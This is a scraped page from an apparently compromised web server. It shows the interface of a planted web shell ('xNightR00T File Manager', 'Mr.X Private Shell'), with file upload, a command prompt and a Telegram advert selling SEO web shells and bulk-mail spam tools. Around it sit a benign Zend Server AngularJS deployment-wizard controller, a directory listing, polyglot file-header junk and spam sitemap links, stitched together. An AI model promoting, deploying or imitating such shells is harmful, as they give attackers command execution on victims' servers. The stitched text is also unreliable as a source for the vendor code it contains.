xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
zsApp.controller('DeplyomentWizardController', ['$scope', '$rootScope', 'WebAPI', '$timeout', 'ngDialog', 'Upload', '$filter', '$http', 
    function($scope, $rootScope, WebAPI, $timeout, ngDialog, Upload, $filter, $http) {
		$scope.timeouts = {};

		$scope.uploadActions = ['update', 'update-plugin', 'deploy', 'deploy-plugin', 'deploy-library'];
		$scope.updateActions = ['update', 'update-plugin', 'update-download-plugin', 'update-download-library'];
		$scope.downloadActions = ['download', 'update-download-plugin', 'download-plugin', 'update-download-library'];
		$scope.applicationActions = ['update', 'deploy', 'download'];
		$scope.pluginActions = ['update-plugin', 'deploy-plugin', 'update-download-plugin', 'download-plugin'];
		$scope.libraryActions = ['deploy-library', 'update-download-library'];

		$scope.downloadDisabled = false;
        
        

		$scope.wizard = {};
		$scope.wizard.action = $scope.ngDialogData.action;
		$scope.wizard.options = $scope.ngDialogData.options;
		$scope.wizard.wizardId = Math.floor(Math.random() * ((999999 - 10000) + 1) + 10000);
		$scope.wizard.hotDeploymentEnabled = false;
        
        // get nodes list
        $scope.nodesList = {
            inProgress: false,
            
            // list of nodes
            data: [],
            
            selected: {},
            
            // the "ngModel" of the checkbox - update all servers or partially
            updateAllServersImmediately: true,
            
            // the checkbox to un/select all the nodes
            toggleAllServersToUpdateCheckbox: false,
            
            // load from the server
            load: function() {
                $scope.nodesList.inProgress = true;
                WebAPI({
                    method: 'get',
                    url: '/ZendServer/Api/clusterGetServerStatus'
                }).then(function(res) {
                    if (res.data && res.data.responseData && res.data.responseData.serversList) {
                        $scope.nodesList.data = res.data.responseData.serversList;
                    } else {
                        $scope.nodesList.data = [];
                    }
                }).finally(function() {
                    $scope.nodesList.inProgress = false;
                });
            },
            
            // select or unselect all the nodes in the list
            toggleAllCheckboxes: function(chkbox) {
                $scope.nodesList.data.forEach(function(nodeData) {
                    $scope.nodesList.selected[nodeData.id] = $scope.nodesList.toggleAllServersToUpdateCheckbox;
                });
            },
            
            isImmediateUpdate: function() {
                return $scope.nodesList.updateAllServersImmediately;
            },
            
            getSelectedNodes: function() {
                var selectedNodes = [];
                Object.keys($scope.nodesList.selected).forEach(function(nodeId) {
                    if ($scope.nodesList.selected[nodeId]) {
                        selectedNodes.push(nodeId);
                    }
                });
                
                return selectedNodes;
            },
            
            getSelectedNodesData: function() {
                var selectedNodesData = [];
                
                // get the selected nodes IDs
                var selectedNodes = $scope.nodesList.getSelectedNodes();
                if (selectedNodes.length === 0) {
                    return [];
                }
                
                selectedNodes.forEach(function(nodeId) {
                    $scope.nodesList.data.forEach(function(nodeData) {
                        if (nodeData.id == nodeId) {
                            selectedNodesData.push(nodeData);
                        }
                    });
                });
                
                return selectedNodesData;
            }
        };
        
        $scope.nodesList.load();

		if ($scope.pluginActions.contains($scope.wizard.action)) {
			$scope.wizard.isPlugin = true;
			$scope.wizard.wizardType = 'plugin';
		}

		if ($scope.libraryActions.contains($scope.wizard.action)) {
			$scope.wizard.isLibrary = true;
			$scope.wizard.wizardType = 'library';
		}
		if ($scope.applicationActions.contains($scope.wizard.action)) {
			$scope.wizard.isApplication = true;
			$scope.wizard.wizardType = 'application';
		}
		
		// check if "hot" deployment is enabled
		if ($scope.wizard.isApplication) {
			hotDeploymentErrorMessage = 'Cannot load deployment method (hot or cold deployment)';
			WebAPI({
				method: 'GET',
				url: '/ZendServer/Api/configurationDirectivesList',
				params: {
					filter: 'zend_deployment.use_symlinks_for_conf' 
				}
			}).then(function(res) {
				if (res && res.data && res.data.responseData && res.data.responseData.directives) {
					$scope.wizard.hotDeploymentEnabled = (res.data.responseData.directives[0].fileValue == '1');
				} else {
					document.fireEvent('toastAlert', {message: hotDeploymentErrorMessage});
				}
			}, function(res) {
				if (typeof(res.data.errorData.errorMessage) != 'undefined') {
					hotDeploymentErrorMessage = res.data.errorData.errorMessage;
				}
				
				document.fireEvent('toastAlert', {message: hotDeploymentErrorMessage});
			});
		}
		
		$scope.retryInProgress = false;
		$scope.retryDownloadPackage = function() {
			$scope.retryInProgress = true;
			$scope.downloadPackage();
		};

		$scope.downloadPackage = function() {
			var url = '/ZendServer/Wizard/Download/?json=1&wizardId=' + $scope.wizard.wizardId;
			if ($scope.wizard.isPlugin) {
				url = '/ZendServer/PluginsWizard/Download/?json=1&wizardId=' + $scope.wizard.wizardId;
			}
			if ($scope.wizard.isLibrary) {
				url = '/ZendServer/LibraryWizard/Download/?json=1&wizardId=' + $scope.wizard.wizardId;
			}
			var data;

			if (!$scope.wizard.isLibrary) {
				data = {
					url: $scope.wizard.download.url,
					name: $scope.wizard.download.name,
					version: $scope.wizard.download.version
				};
			} else {
				data = {
					libraryId: $scope.ngDialogData.options.libraryId
				};
			}
			$http({
				url: url,
				data: data,
				method: 'post'
			}).then(function(response) {
				$scope.wizard.download.url = response.data.url;
				// if the 'done' flag is passed no need to check download status but go to fisnishDonwload directly
				if (response.data.done) {
					response.data.path = response.data.url;
					$scope.finishDownload(response.data);
				} else {
					$scope.checkDownloadStatus($scope.wizard.download.url);
				}
			}, function errorCallback(response) {
				$scope.wizard.uploadMessage = response.data.message;
				$scope.uploadFailed();
			});

		};

		if ($scope.downloadActions.contains($scope.wizard.action)) {
			$scope.wizard.download = {
				url: $scope.ngDialogData.options.url,
				name: $scope.ngDialogData.options.name || '',
				version: $scope.ngDialogData.options.version || '',
				precents: 0
			};
			$scope.downloadPackage();
		}

		$scope.closeWizard = function(value) {
			angular.forEach($scope.timeouts, function(timer) {
				$timeout.cancel(timer);
			});
			var url = '/ZendServer/Api/applicationCancelPendingDeployment?wizardId=' + $scope.wizard.wizardId;

			if ($scope.wizard.isPlugin) {
				url = '/ZendServer/Api/pluginCancelPendingDeployment?wizardId=' + $scope.wizard.wizardId;
			}
			if ($scope.wizard.isLibrary) {
				url = '/ZendServer/LibraryWizard/cancel?wizardId=' + $scope.wizard.wizardId;
			}

			if (!$scope.wizard.isLibrary) {
				WebAPI({
					method: 'post',
					url: url,
					data: {
						wizardAjax: true
					}
				});
			} else {
				$http({
					method: 'post',
					url: url,
					data: {
						wizardAjax: true
					}
				});
			}
			ngDialog.close(value);
		};

		$scope.uploadFiles = function(files) {
			if (files && files.length) {
				for (var i = 0; i < files.length; i++) {
					$scope.wizard.uploadState = 1;
					delete $scope.wizard.uploadingPrecent;
					delete $scope.wizard.uploadMessage;
					var url;
					switch ($scope.wizard.action) {
						case 'deploy':
							url = '/ZendServer/Wizard/Upload/?json=1&wizardId=' + $scope.wizard.wizardId;
							break;
						case 'update':
							url = '/ZendServer/Wizard/Upload-Update/?json=1&wizardId=' + $scope.wizard.wizardId + '&applicationId=' + $scope.wizard.options.applicationId;
							break;
						case 'deploy-library':
							url = '/ZendServer/LibraryWizard/Upload/?json=1&wizardId=' + $scope.wizard.wizardId;
							break;
						case 'deploy-plugin':
							url = '/ZendServer/PluginsWizard/Upload/?json=1&wizardId=' + $scope.wizard.wizardId;
							break;
						case 'update-plugin':
							url = '/ZendServer/PluginsWizard/Upload-Update/?json=1&wizardId=' + $scope.wizard.wizardId + '&pluginId=' + $scope.wizard.options.pluginId;
							break;
					}
					var upload = Upload.upload({
						url: url,
						method: 'POST',
						data: {
							access_token: csrf,
							url: files
						},
						sendFieldsAs: 'form'
					});
					// returns a promise
					upload.then($scope.uploadComplete, $scope.uploadFailed, $scope.uploadProgress);
				}
			}
		};

		$scope.uploadProgress = function(evt) {
			// progress notify
			$scope.wizard.uploadingPrecent = parseInt(100.0 * evt.loaded / evt.total);
		};
		
		// set partial deployment (on part of the nodes)
		$scope.partialDeployment = {
			deployOnAllNodes: true
		};
		
		// submit the wizard
		$scope.deployApplication = function() {
			$scope.wizard.isDeploying = true;

			if ($scope.wizard.isLibrary && $scope.wizard.package.is_default) {
				$http({
					url: '/ZendServer/LibraryWizard/Set-Default/?wizardId=' + $scope.wizard.wizardId,
					method: 'post',
					data: {
						isDefault: 'TRUE'
					}
				});
			}

			var url = '/ZendServer/';
			var message = '';
			var data = {};
			switch ($scope.wizard.action) {
				case 'update':
					message = 'Updating application...';
					url += 'Wizard/Update';
					if (!$scope.nodesList.isImmediateUpdate()) {
                        // check if some nodes where selected for immediate (partial) update
                        var selectedNodes = $scope.nodesList.getSelectedNodes();
                        
						data.nodes = selectedNodes.length > 0 ? selectedNodes : '';
					}
					
					break;
				case 'download':
				case 'deploy':
					message = 'Deploying application...';
					url += 'Wizard/Deploy';
					break;
				case 'deploy-library':
					message = 'Deploying library...';
					url += 'LibraryWizard/Deploy';
					break;
				case 'update-download-library':
					message = 'Updating library...';
					url += 'LibraryWizard/Deploy';
					break;
				case 'download-plugin':
				case 'deploy-plugin':
					message = 'Deploying plugin...';
					url += 'PluginsWizard/Deploy';
					break;
				case 'update-download-plugin':
				case 'update-plugin':
					message = 'Updating plugin...';
					url += 'PluginsWizard/Update';
					break;
			}
			url += '/?wizardId=' + $scope.wizard.wizardId;

			$http({
				method: 'post',
				url: url,
				data: data
			}).then(function(response) {
				if (angular.isArray(response.data) || ($scope.wizard.isLibrary && response.data.libraryId)) {
					// Success
					if (!$scope.wizard.package.newVhost) {
                        			$rootScope.$broadcast('restart.disable_tooltip', true);
					}

					document.fireEvent('toastNotification', {
						'message': message
					});
					
					ngDialog.close();
					if ($scope.ngDialogData.options && $scope.ngDialogData.options.onSuccess) {
						$scope.ngDialogData.options.onSuccess(response);
					}
				} else {
                    handleAjaxError(response, 'Cannot deploy application');
				}
			}, function(res) {
                if (res && res.data && res.data.message) {
                    document.fireEvent('toastAlert', {
                        'message': res.data.message
                    });
                } else {
                    handleAjaxError(res, 'Cannot deploy application');
                }
			}).finally(function(response) {
				$scope.wizard.isDeploying = false;
			});
		};
        
        $scope.cmpVersion = function (a, b) {
                var i, cmp, len, re = /(\.0)+[^\.]*$/;
                a = (a + '').replace(re, '').split('.');
                b = (b + '').replace(re, '').split('.');
                len = Math.min(a.length, b.length);
                for( i = 0; i < len; i++ ) {
                    cmp = parseInt(a[i], 10) - parseInt(b[i], 10);
                    if( cmp !== 0 ) {
                        return cmp;
                    }
                }
                return a.length - b.length;
            };

        $scope.getPrerequisitesLink = function() {
        	
        	if (typeof $scope.wizard == "undefined" || typeof $scope.wizard.package == "undefined" || typeof $scope.wizard.package.prerequisites == "undefined") {
        		return "/ZendServer/#!/php/extensions";
        	}
        	
        	$scope.prerequisitesLink = "/ZendServer/#!/php/extensions";
        	
            if(typeof $scope.wizard.package.prerequisites.items !== 'undefined') {
                    angular.forEach($scope.wizard.package.prerequisites.items, function(element_items, key) {

                    	angular.forEach(element_items, function(item_key, item) {
                    		angular.forEach(item_key, function(entry, val) {
                    			
		                    	if (val.indexOf('valid') !== 0 && key == 'library') {
		                    		$scope.prerequisitesLink = "/ZendServer/#!/applications/libraries";
		                    	}
	                    		if (val.indexOf('valid') !== 0 && key == 'version') {
	                                $scope.prerequisitesLink = "ZendServer/#!/php/server-info";
	                            }
	
	                            if (val.indexOf('valid') !== 0 && key == 'zendservercomponent') {
	                                $scope.prerequisitesLink = "ZendServer/#!/administration/components";
	                            }
                    		});
                    	});
                    });
            }
        	
        	return $scope.prerequisitesLink;
        };
        
		$scope.uploadComplete = function(response) {
			if (response.data.success) {
				$scope.wizard.installationError = false;
				$scope.wizard.uploadState = 2;
				$scope.wizard.package = response.data.packageData;
                if(typeof $scope.wizard.options.applicationDetails !== 'undefined'){
                $scope.wizard.currentVersion = $scope.wizard.options.applicationDetails.deployedVersions.deployedVersion;
                }else{
                 $scope.wizard.currentVersion = '0.0.0';   
                }
                $scope.wizard.newVersion = $scope.wizard.package.version;
				$scope.wizard.package.path = '';
				$scope.wizard.package.isDefault = response.data.is_default;

				var defaultServer = $rootScope.serverData['default-server'];
				if (defaultServer == '<default-server>') {
					if ($rootScope.serverData['default-port'] !== 80) {
						defaultServer = "default server:" + $rootScope.serverData['default-port'];
					} else {
						defaultServer = "default server";
					}
				}


				defaultServerUrl = $rootScope.serverData['default-server-url'];
				// if baseUrl is passed as default server we add the default port to the deploy application baseUrl

				if (defaultServerUrl.contains('<default-server>')) {
					if ($rootScope.serverData['default-port'] !== "" && $rootScope.serverData['default-port'] !== 80) {
						defaultServerUrl = defaultServerUrl.replace('<default-server>', "<default-server>:" + $rootScope.serverData['default-port']);
					}
				}

				$scope.wizard.vhostsOptions = [{
					value: "http://" + defaultServerUrl.replace('<default-server>', 'defaultserver'),
					title: defaultServer
				}].concat(response.data.vhosts || []);

				if (!$scope.wizard.package.vhost) {
					//default vhost
					$scope.wizard.package.vhost = "0";
				}

				//steps
				$scope.steps = ['upload'];
				if ($scope.wizard.package.readme) {
					$scope.steps.push('readme');
				}
				if ($scope.wizard.isApplication && !$scope.updateActions.contains($scope.wizard.action)) {
					$scope.steps.push('appDetails');
				}
				if ($scope.wizard.package.eula) {
					$scope.steps.push('license');
				}
				if ($scope.wizard.package.prerequisites.items) {
					$scope.steps.push('prerequisites');
				}
				var siteUrlParam = -1;
				if ($scope.wizard.package.userParams && $scope.wizard.package.userParams.elements) {
					$scope.steps.push('userParams');
					$scope.wizard.package.userParamsForm = {};
					var elems = [];
					angular.forEach($scope.wizard.package.userParams.elements, function(item) {
						if (item.spec.name === 'site_url') {
							siteUrlParam = elems.length;
						}
						var elem = {
							name: item.spec.name,
							attributes: item.spec.attributes,
							options: item.spec.options,
						};
						switch (item.spec.type) {
							case 'Zend\\Form\\Element\\Text':
								elem.type = 'text';
								break;
							case 'Zend\\Form\\Element\\Email':
								elem.type = 'email';
								break;
							case 'Zend\\Form\\Element\\Password':
								elem.type = 'password';
								break;
							case 'Zend\\Form\\Element\\Checkbox':
								elem.type = 'checkbox';
								break;
							case 'Zend\\Form\\Element\\Select':
								elem.type = 'select';
								break;
						}

						if ($scope.wizard.package.userParamsValues && $scope.wizard.package.userParamsValues[item.spec.name]) {
							elem.attributes.value = $scope.wizard.package.userParamsValues[item.spec.name];
						}
						elems.push(elem);
					});
					$scope.wizard.package.userParams.elems = elems;
				}
				if ($rootScope.serverData['is-cluster'] && $scope.wizard.isApplication && $scope.updateActions.contains($scope.wizard.action)) {
					$scope.steps.push('serversToUpdate');
				}
				$scope.steps.push('summary');

				if (siteUrlParam > -1) {
					$scope.$watchGroup(['wizard.package.path', 'wizard.package.vhost'], function(path, vhost, $newScope) {
						var newUrl;
						if ($scope.wizard.vhostsOptions[$scope.wizard.package.vhost].value.indexOf('http://defaultserver') > -1) {
							newUrl = 'http://' + $scope.serverData['current-host'];
							if (![80, ''].contains($scope.serverData['default-port'])) {
								newUrl += ':' + $scope.serverData['default-port'];
							}
						} else {
							newUrl = $newScope.wizard.vhostsOptions[$newScope.wizard.package.vhost].title;
						}
						newUrl += '/' + $newScope.wizard.package.path;
						if (newUrl.indexOf('http://') !== 0 && newUrl.indexOf('https://') !== 0) {
							newUrl = 'http://' + newUrl;
						}
						$scope.wizard.package.userParams.elems[siteUrlParam].attributes.value = newUrl;
					});
				}
			} else {
				$scope.uploadFailed(response);
			}
			$scope.wizard.uploadMessage = response.data.message;
		};

		$scope.refreshPrerequisites = function() {
			$scope.wizard.prerequisitesLoading = true;
			var url = '/ZendServer/Wizard/Prerequisites/?json=1&wizardId=' + $scope.wizard.wizardId;
			if ($scope.wizard.isPlugin) {
				url = '/ZendServer/PluginsWizard/Prerequisites/?json=1&wizardId=' + $scope.wizard.wizardId;
			}
			if ($scope.wizard.isLibrary) {
				url = '/ZendServer/LibraryWizard/Prerequisites/?json=1&wizardId=' + $scope.wizard.wizardId;
			}
			$http({
				data: {
					wizardAjax: true
				},
				url: url,
				method: 'post'
			}).then(function(response) {
				$scope.wizard.package.prerequisites = response.data;
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': 'Can\'t load prerequisites list'
				});
			}).finally(function() {
				$scope.wizard.prerequisitesLoading = false;
			});
		};

		$scope.uploadFailed = function(response) {
			$scope.wizard.uploadState = -1;
		};

		$scope.backStep = function(current) {
			$scope.wizard.step = $scope.steps[$scope.steps.indexOf(current) - 1];
		};

		$scope.nextStep = function(current) {
			$scope.wizard.step = $scope.steps[$scope.steps.indexOf(current) + 1];
		};

		$scope.addNewVHost = function() {
			var vhost = prompt(_t('Enter the protocol, name and port of the virtual host (e.g., http://myvhost:8080, http://myvhost). SSL-secured virtual hosts can be added via the Virtual Hosts page.'), '');
			if (vhost) {
				vhost = vhost.trim();
				vhost = vhost.toLowerCase();
				var vhostValue = vhost;
				if (vhost.indexOf('http://') === 0) {
					vhost = vhost.substring(7);
				} else if (vhost.indexOf('https://') === 0) {
					alert('HTTPS or SSL virtual hosts can be added via the Virtual Hosts page');
					return;
				} else {
					vhostValue = 'http://' + vhost;
				}
				// remove prefixing /
				vhost = vhost.replace(/^\/+/, '');
				// remove trailing /
				vhost = vhost.replace(/\/+$/, '');

				if (vhost == 'localhost') {
					vhost = 'defaultserver';
					vhostValue = 'http://defaultserver';
				}

				// add new option
				var haveValue = $filter('getByProperty')('value', vhostValue, $scope.wizard.vhostsOptions);
				if ('' !== vhost && !haveValue) {
					$scope.wizard.vhostsOptions.push({
						value: vhostValue,
						title: vhost
					});
					$scope.wizard.package.vhost = String($scope.wizard.vhostsOptions.length - 1);
					$scope.wizard.package.newVhost = vhostValue;
				} else {
					alert('This vhost already exists!');
				}

			}
		};

		$scope.validateUserParams = function() {
			$scope.wizard.validating = true;
			$scope.wizard.package.userParamsErrors = false;
			$scope.wizard.validatingError = false;
			
			var userParamsUrl = '/ZendServer/Wizard/User-Params/?json=1&wizardId=';
			if ($scope.wizard.isLibrary) {
				userParamsUrl = '/ZendServer/LibraryWizard/User-Params/?json=1&wizardId=';
			}
			
			$http({
				data: $scope.wizard.package.userParamsForm,
				url: userParamsUrl + $scope.wizard.wizardId,
				method: 'post',
				headers: {
					'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8;"
				}
			}).then(function(response) {
				if (response.data.valid) {
					$scope.nextStep('userParams');
				} else {
					$scope.wizard.validatingError = 'Please check the form below for errors.';
					$scope.wizard.package.userParamsErrors = response.data.errors;
				}
			}, function(response) {
				$scope.wizard.validatingError = 'Can\'t Validate parameters, please try again';
			}).finally(function() {
				$scope.wizard.validating = false;
			});

		};

		$scope.validateInstallation = function() {
			$scope.wizard.validating = true;
			var data = {
				displayName: $scope.wizard.package.displayName,
				vhosts: $scope.wizard.vhostsOptions[$scope.wizard.package.vhost].value,
				path: $scope.wizard.package.path
			};
			if ($scope.wizard.package.newVhost && $scope.wizard.package.newVhost !== '') {
				data.newVhost = $scope.wizard.package.newVhost;
			}
			var url = '/ZendServer/Wizard/Installation/?wizardId=' + $scope.wizard.wizardId;

			$http({
				data: data,
				url: url,
				method: 'post',
				headers: {
					'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8;"
				}
			}).then(function(response) {
				if (response.data.trim() == 'ok') {
					$scope.wizard.installationError = false;
					$scope.nextStep('appDetails');
				} else {
					$scope.wizard.installationError = response.data;
				}
			}, function(response) {
				$scope.wizard.installationError = 'Can\'t Validate application, please try again';
			}).finally(function() {
				$scope.wizard.validating = false;
			});
		};

		$scope.stopCheckDownloadStatus = function() {
			$scope.isCheckDownloadStatusActive = false;
			$timeout.cancel($scope.timeouts.checkDownloadStatus);
		};

		$scope.checkDownloadStatus = function(url) {
			$scope.stopCheckDownloadStatus();
			$scope.isCheckDownloadStatusActive = true;

			WebAPI({
				url: '/ZendServer/Api/deploymentDownloadFileStatus?url=' + encodeURIComponent(url),
				ignoreLoadingBar: true,
				skipErrorHandler: true
			}).then(function(response) {
				var data = response.data.responseData;

				// cancel the "retry download" spinner
				if (data.status != 'downloading') {
					$scope.retryInProgress = false;
				}

				if (data.status == 'downloading') {
					if (data.size > 0 && data.downloaded > 0) {
						$scope.wizard.download.precents = Math.floor((data.downloaded / data.size) * 100);
						$scope.wizard.download.sizeInMB = (data.size / (1024 * 1024)).toFixed(1);
						$scope.wizard.download.downloadedInMB = (data.downloaded / (1024 * 1024)).toFixed(1);
					}

					if ($scope.isCheckDownloadStatusActive) {
						$scope.timeouts.checkDownloadStatus = $timeout(function() {
							$scope.checkDownloadStatus(url);
						}, 1000);
					}
				} else if (data.status == 'error') {
					$scope.wizard.download.error = data.message;
				} else if (data.status == 'ok') {
					$scope.finishDownload(data);

				} else {
					if ($scope.isCheckDownloadStatusActive) {
						$scope.timeouts.checkDownloadStatus = $timeout(function() {
							$scope.checkDownloadStatus(url);
						}, 1000);
					}
				}
			}, function(response) {
				if (response.data.errorData.errorCode === 'deploymentAutoDownloadDisabled') {
					$scope.downloadDisabled = true;
				}
			});
		};

		$scope.finishDownload = function(data) {

			$scope.wizard.download.precents = 100;
			$scope.wizard.download.sizeInMB = (data.size / (1024 * 1024)).toFixed(1);
			$scope.wizard.download.downloadedInMB = (data.size / (1024 * 1024)).toFixed(1);

			var checkUrl;
			if ($scope.wizard.isApplication) {
				checkUrl = '/ZendServer/Wizard/finishDownload?json=1&wizardId=' + $scope.wizard.wizardId;
			}

			if ($scope.wizard.isPlugin) {
				checkUrl = '/ZendServer/PluginsWizard/finishDownload?json=1&wizardId=' + $scope.wizard.wizardId;
			}

			if ($scope.wizard.isLibrary) {
				checkUrl = '/ZendServer/LibraryWizard/finishDownload?json=1&wizardId=' + $scope.wizard.wizardId;
			}

			// call to load the package
			$http({
				data: {
					path: data.path
				},
				url: checkUrl,
				method: 'post'
			}).then($scope.uploadComplete, $scope.uploadFailed);
		};
	}]);

Filemanager

Name Type Size Permission Actions
applications.js File 46.22 KB 0644
deployment-wizard.js File 25.47 KB 0644
libraries.js File 29.77 KB 0644
settings.js File 2.93 KB 0644
vhost-manage-wizard.js File 2.66 KB 0644
vhost-wizard.js File 14.49 KB 0644
vhost.js File 27.81 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml